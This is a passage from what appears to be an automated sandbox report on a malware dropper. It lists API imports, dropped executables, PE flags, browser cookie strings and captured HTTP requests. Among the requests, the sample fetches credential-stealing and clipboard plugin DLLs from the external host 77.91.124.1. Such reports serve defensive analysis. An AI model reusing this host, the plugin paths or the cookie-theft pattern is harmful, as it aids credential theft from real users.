"00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp")37:T43b,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "file") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "file") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "file") Found reference to API "LockResource" (Indicator: "LockResource"; File: "file") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "file") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000176.00000001.72066.00E6A000.00000002.mdmp")38:T2d63,"file.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "file.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "aW5Tb54.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "aW5Tb54.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "op9Jo62.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "op9Jo62.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "zt7vg41.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "zt7vg41.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "ss3vj64.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "ss3vj64.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "dm8Sa10.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "dm8Sa10.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "1wL27Vk7.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "2hc1372.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "2hc1372.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "2hc1372.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "3di89sk.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "3di89sk.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "3di89sk.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "4EM873Jt.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll" - [base:0; Status:c0000135] "5tc7lo6.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "5tc7lo6.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "5tc7lo6.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "6Hy9qE9.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "6Hy9qE9.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "6Hy9qE9.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "7GY0fl42.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "7GY0fl42.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "7GY0fl42.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "cacls.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cacls.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll" - [base:0; Status:c0000135] "8Am5oO69.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "8Am5oO69.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "explothe.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "explothe.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "explothe.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135]39:Ta23,"file" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "aW5Tb54.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "op9Jo62.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "zt7vg41.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "7GY0fl42.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5tc7lo6.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3di89sk.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ss3vj64.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Gj9uC90.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "dm8Sa10.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4EM873Jt.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "explothe.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2hc1372.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip_1_.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1wL27Vk7.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA3a:T627,Observed unmanaged function "DwmIsCompositionEnabled" in "4EM873Jt.exe" Observed unmanaged function "BitBlt" in "4EM873Jt.exe" Observed unmanaged function "CreateRoundRectRgn" in "4EM873Jt.exe" Observed unmanaged function "PathCompactPath" in "4EM873Jt.exe" Observed unmanaged function "ClientToScreen" in "4EM873Jt.exe" Observed unmanaged function "CreateWindowEx" in "4EM873Jt.exe" Observed unmanaged function "DestroyWindow" in "4EM873Jt.exe" Observed unmanaged function "DrawMenuBar" in "4EM873Jt.exe" Observed unmanaged function "FindWindow" in "4EM873Jt.exe" Observed unmanaged function "GetClassName" in "4EM873Jt.exe" Observed unmanaged function "GetClientRect" in "4EM873Jt.exe" Observed unmanaged function "GetCursorPos" in "4EM873Jt.exe" Observed unmanaged function "GetDCEx" in "4EM873Jt.exe" Observed unmanaged function "GetMonitorInfo" in "4EM873Jt.exe" Observed unmanaged function "GetScrollInfo" in "4EM873Jt.exe" Observed unmanaged function "GetSystemMenu" in "4EM873Jt.exe" Observed unmanaged function "GetWindowDC" in "4EM873Jt.exe" Observed unmanaged function "GetWindowLong" in "4EM873Jt.exe" Observed unmanaged function "GetWindowRect" in "4EM873Jt.exe" Observed unmanaged function "GetWindowText" in "4EM873Jt.exe" Observed unmanaged function "InsertMenu" in "4EM873Jt.exe" Observed unmanaged function "InsertMenuItem" in "4EM873Jt.exe" Observed unmanaged function "MonitorFromWindow" in "4EM873Jt.exe" Observed unmanaged function "RegisterHotKey" in "4EM873Jt.exe" Observed unmanaged function "ReleaseCapture" in "4EM873Jt.exe"3b:Tb7d,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "file") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "file") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "8DB0.bat") file/memory contains long string with (Indicator: "facebook.com"; File: "1IBHBLPJ.txt") file/memory contains long string with (Indicator: "youtube"; File: "RQM0A5LV.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_2_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "NFP5N1NB.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "AGUHRWDD.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "DG1JBI2M.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "8O3VPB8L.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "5K3LVH2Y.txt") Found string "VISITOR_INFO1_LIVEV8KBsxGxiAAyoutube.com/921763057062431101106111227806031064933CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217276845324831067712111227806031064933" (Indicator: "youtube"; File: "0E2MC9EP.txt") Found string "0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlaL.AWUCwy0cV6kfacebook.com/921795346470431083001139133843131064928i1YyZei-mbh0_vkuP5fDs_KUfacebook.com/9217249791884831145362139087043131064928" (Indicator: "facebook.com"; File: "W3P893AU.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217276845324831067712111227806031064933" (Indicator: "youtube"; File: "LRR1NHWJ.txt") Found string "CheckConnectionTempCookie157495729accounts.youtube.com/accounts/2147484752242276505631064939232654480031064939" (Indicator: "youtube"; File: "GJC71J9U.txt") Found string "CheckConnectionTempCookie442559418accounts.youtube.com/accounts/2147484752124093734431065036115049068931065036" (Indicator: "youtube"; File: "G73B9895.txt") Found string "i1YyZei-mbh0_vkuP5fDs_KUfacebook.com/9217249791884831145362139087043131064928" (Indicator: "facebook.com"; File: "4OZ45ZWF.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL")3c:T27c5,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Fri 20 Oct 2023 10:29:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Fri 20 Oct 2023 10:29:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:48:50 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2447 with response body 